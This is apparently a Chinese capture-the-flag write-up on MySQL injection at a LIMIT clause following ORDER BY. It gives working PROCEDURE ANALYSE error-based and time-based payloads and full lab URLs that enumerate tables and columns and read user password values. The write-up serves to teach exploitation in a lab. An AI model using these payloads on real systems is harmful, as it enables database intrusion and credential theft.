SQL语句类似下面这样:(此方法仅适用于5.0.0

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

问题的关键在于,语句中有 order by 关键字,mysql 中在 order by 前面可以使用 union 关键字,所以如果注入点前面没有 order by 关键字,就可以使用 union 关键字,但是现在的情况是,注入点前面有 order by 关键字。

我们先看看 mysql 5.x 的文档中的 select 的语法:

1 SELECT

2 [ALL | DISTINCT | DISTINCTROW ]

3 [HIGH_PRIORITY]

4 [STRAIGHT_JOIN]

5 [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]

6 [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]

7 select_expr [, select_expr ...]

8 [FROM table_references

9 [WHERE where_condition]

10 [GROUP BY {col_name | expr | position}

11 [ASC | DESC], ... [WITH ROLLUP]]

12 [HAVING where_condition]

13 [ORDER BY {col_name | expr | position}

14 [ASC | DESC], ...]

15 [LIMIT {[offset,] row_count | row_count OFFSET offset}]

16 [PROCEDURE procedure_name(argument_list)]

17 [INTO OUTFILE 'file_name' export_options

18 | INTO DUMPFILE 'file_name'

19 | INTO var_name [, var_name]]

20 [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE。

尝试用这个存储过程:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE支持两个参数,试试两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

在 ANALYSE 中插入 sql 语句,sleep 没有被执行,可以使用报错注入:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

1.使用 PROCEDURE ANALYSE:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20PROCEDURE%20ANALYSE(1)%23&num=1

Can't use ORDER clause with this procedure

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

2.使用报错注入爆表:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=8&num=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))),1)%23

XPATH syntax error: ':article,user'

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到表名:article,user

3.爆列:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x61727469636c65))),1)%23%20&num=100%20%23

XPATH syntax error: ':id,title,contents,isread'

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到article表的列名:id,title,contents,isread

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)%23%20&num=100%20%23

XPATH syntax error: ':id,username,password,lastloginI'

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

同样得到user表的列名:id,username,password,lastloginI

4.爆字段:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(username)%20from%20user))),1)%23%20&num=1

XPATH syntax error: ':user,admin,flag'

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

通过查询user表的username列,发现其中有一个字段是flag,那么直接读取flag字段的内容就可以了:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user%20where%20username=0x666c6167))),1)%23%20&num=1

XPATH syntax error: ':myflagishere'

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

得到flag:myflagishere

mysql 5.6.6_Mysql下Limit注入方法(此方法仅适用于5.0.0mysql5.6.6的版本)相关推荐

  1. 5.7.24mysql 配置安卓,安卓按键精灵连接MySQL全面解析Windows下安装 mysql5.7的方法

    关于在windows下安装mysql 5.7 •要注意的新坑: 5.7版本安装后ROOT账号是有默认的密码的,这个密码在windows下可以在mysql.ini配置文件指定的data文件夹下面,那个为 ...

  2. mysql注入之limit 注入

    文章首发公众号:闪光的自留地 知乎:Sp4rkW GITHUB:Sp4rkW B站:一只技术君 博客:https://sp4rkw.blog.csdn.net/ 联系邮箱:getf_own@163.c ...

  3. mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...

    本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...

  4. 【MySQL Tips】偏移量大的分页查询LIMIT子句的优化方法

    SQL优化是要看执行计划分析,并做基准测试的. 前言 MySQL官方关于LIMIT子句的优化建议在之前的文章中写过,链接如下: 8.2.19 LIMIT查询优化.note [MySQL 8翻译]8.2 ...

  5. mysql注入带外通道攻击_防止SQL注入攻击的方法

    防止SQL注入攻击的方法 发布时间:2020-08-25 14:18:13 来源:亿速云 阅读:78 作者:小新 小编给大家分享一下防止SQL注入攻击的方法,相信大部分人都还不怎么了解,因此分享这篇文 ...

  6. VC下提前注入进程的一些方法3——修改程序入口点

    前两节中介绍了通过远线程进行注入的方法.现在换一种方法--修改进程入口点.(转载请指明出处) 在PE文件中,其中有个字段标识程序入口点位置.我们通过这个字段,到达程序入口点.PE文件的结构我这儿不讨论 ...

  7. 如何在linux系统下修改mysql密码_如何在linux下修改mysql数据库密码?linux修改数据库密码的方法...

    本篇文章给大家带来的内容是介绍如何在linux下修改mysql数据库密码?linux修改数据库密码的方法.有一定的参考价值,有需要的朋友可以参考一下,希望对你们有所帮助. Linux下修改Mysql的 ...

  8. mysql alter engine_MySQL_mysql下修改engine引擎的方法,修改my.ini,在[mysqld]下加上 - phpStudy...

    mysql下修改engine引擎的方法 修改my.ini,在[mysqld]下加上 default-storage-engine=INNODB 其中红色字体部分是要指定的引擎名称. 用sql语句修改已 ...

  9. Linux下MySql出现#1036 – Table ‘ ‘ is read only 错误解决方法

    Linux下MySql出现#1036 – Table ' ' is read only 错误解决方法 参考文章: (1)Linux下MySql出现#1036 – Table ' ' is read o ...

最新文章

  1. 华中C语言程序简答题,华中科技大学0911年C语言程序设计试卷.doc
  2. html的meta属性
  3. BZOJ2286 : [Sdoi2011]消耗战
  4. python二进制文件 删除尾部数据_在Python中读取和切片二进制数据文件的最快方法...
  5. linux下搭建nagios监控
  6. C++实践参考——摩托车继承自行车和机动车
  7. 剑指offer面试题[49]-把字符串转化为整型
  8. vue的介绍及基本使用(详细,好理解,示例代码)
  9. java导入excle表格,并且对表格进行相应的修改,并对表格数据进行整理,最后导出本地表格等一系列操作...
  10. Laravel学习笔记之Demo1——URL生成和存储
  11. iconfont 图标不生效
  12. 安装python3.8出现ModuleNotFoundError: No module named ‘_ctypes’解决办法
  13. iOS上栈溢出崩溃详解
  14. 解决VS2016中Scanf运行错误
  15. p5405 [CTS2019]氪金手游
  16. java 编写线程公共类_Java实现线程间通信方式
  17. SolidPlant材料清单
  18. 落户上海市高校毕业生就业指导中心集体户口办理办法
  19. ORA-01654: unable to extend index报错解决
  20. 基于SSM的物料管理系统(源码+文档+数据库)

热门文章

  1. Swin Transformer 升级,Swin V2:向更大容量、更高分辨率的更大模型迈进
  2. 【网易云信获奖啦】2020 年值得再读一遍的技术干货 | 下篇
  3. sql中条件放在on后面和where后面的区别
  4. Chrome安装metamask
  5. mysql分库分表方案之sharding-jdbc使用(非demo示例)
  6. 几年前的代码发现一个BUG: 整数相除结果不能默认转换为浮点数
  7. 教您快速解决MindManager15安装中的.NET难题
  8. Android开发人员资料大全(开发人员必看)
  9. 修正wme输出的ASF流数据
  10. DeepHSV:号称可以商用的计算机笔迹鉴别算法